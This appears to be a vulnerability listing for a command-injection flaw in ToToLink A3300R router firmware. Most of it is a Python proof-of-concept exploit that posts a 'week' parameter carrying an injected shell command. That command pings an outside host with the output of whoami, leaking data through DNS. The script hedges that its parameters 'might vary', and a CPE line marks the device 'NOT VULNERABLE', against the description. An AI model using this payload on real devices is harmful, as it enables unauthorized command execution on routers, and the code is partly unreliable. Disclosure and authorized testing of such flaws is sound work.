An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the week parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit(target_ip):
url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"
# The payload injects a command using a semicolon
# This example attempts to ping a controlled server to verify execution
# Adjust the 'topicurl' or other parameters based on the specific firmware logic if needed
data = {
"week": "1; ping `whoami`.burrto.com",
"action_mode": " Apply" # Example parameter, might vary
}
try:
response = requests.post(url, json=data, timeout=5)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
target = "192.168.0.1" # Replace with target IP
exploit(target)